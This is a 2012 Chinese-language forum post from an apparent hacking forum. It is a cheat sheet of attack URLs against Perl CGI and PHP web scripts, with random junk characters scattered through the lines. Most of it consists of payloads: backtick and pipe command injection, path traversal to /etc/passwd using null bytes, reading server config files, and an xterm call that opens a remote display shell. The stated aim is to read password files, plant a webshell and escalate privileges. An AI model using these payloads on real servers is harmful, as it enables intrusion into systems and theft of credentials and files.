中国网络渗透测试联盟

标题: CGI资料整理 [打印本页]

作者: admin    时间: 2012-9-13 16:56
标题: CGI资料整理
总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着  
/ O3 L8 x* K+ x' N4 i0 Wcookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权  , C* T4 @5 Z2 e, |
感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们  % U# b& H6 O+ w/ b7 |
注“  
5 n2 z# R8 c5 N6 }5 kperl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。  ( i( j" x& b# x2 e- s+ k7 n
以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET  ' k' C0 ]( M, z
4 J  K$ y5 O9 d; Q/ K4 I8 y
http://target.com/cgi-bin/home/news/sub.pl?12 随意构造  
5 S8 x+ n0 f) D& Nhttp://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢  5 O7 B( P. b/ E6 a8 Z% l% y4 z
http://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号  
( k! j- `! o+ y$ B$ Vhttp://target.com/cgi-bin/home/news/sub.pl?`id`  
6 V3 @/ N( h( f/ R$ uhttp://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`  ( W: _$ M. E3 R1 ^! ^8 Y! L/ z  j/ c
http://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示  ( E! `4 Q6 q- g) p* A) G

6 W3 q: A! y- }+ L" }; qhttp://target.com/test.pl;ls|  
4 X: e% N2 o! G2 W" b( j$ C( zhttp://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm|  5 u5 [+ [0 o. }. s+ d; q6 \
http://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26|  
& V) N1 H, S2 Bhttp://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造  4 d" {, x* Z7 C! ?+ E) f$ D
比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。  # X  J3 Y% X6 i2 B
http://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection  
& @" R( l6 g4 q8 @3 @+ y' j8 ~6 v% n; d2 B9 q6 U
http://target.com/test.pl?&........ /../../etc/passwd  
8 m- z4 d& a7 v) T3 z& V6 ~$ ~' ]* u+ h9 A
http://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./  8 |! l! x! ^5 n$ N- A+ ^2 E
http://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了  7 W! ]/ z8 Q7 g/ o+ [& P
http://www.target.org/cgi-bin/cl ... ../../etc/passwd%00  9 V4 a2 C6 k' c( [
- `8 j7 Z. _' c4 O/ L) r/ @
http://www.target.org/show.php?f ... /include/config.php 查看php代码  + y3 R. Q* I% e/ G
http://www.target.org/show.php?f ... ng/admin/global.php  & Q3 c- J/ ^6 R6 E' l- u

* g: j, I7 P  A' eemm和ps的一句话
5 R, C: L3 q8 u( a& G2 G2 H: k5 B. V  v+ c
http://www.target.org/cgi-bin/cl ... /../../../bin/ls%20  * R/ W, U# l& w

: l) C6 S4 p+ t>bbb%20|  " j, g; H* W! Z

- ?6 U* l; R! i; U6 xhttp://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串  
( h. h& @% G& ^% r( }( Q! m+ f0 `, Y$ M1 L! B
http://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征  
4 L. [' w2 z3 A7 \* o6 yhttp://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin  
7 y3 E9 w+ F% T, g; b0 W- ?2 m' Q* G# v' ]  Q* [( Y- ~: H  P
相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法  
  C9 t6 ~+ [/ E6 m7 {/ M+ Chttp://target.com/index.html#cmd.exe  
$ y% p. A" _( ahttp://target.com/index.html?dummyparam=xp_cmdshell  
- m; W+ J( W) v: blynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd  
) `; v* g5 H0 N5 C- ?$ W




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2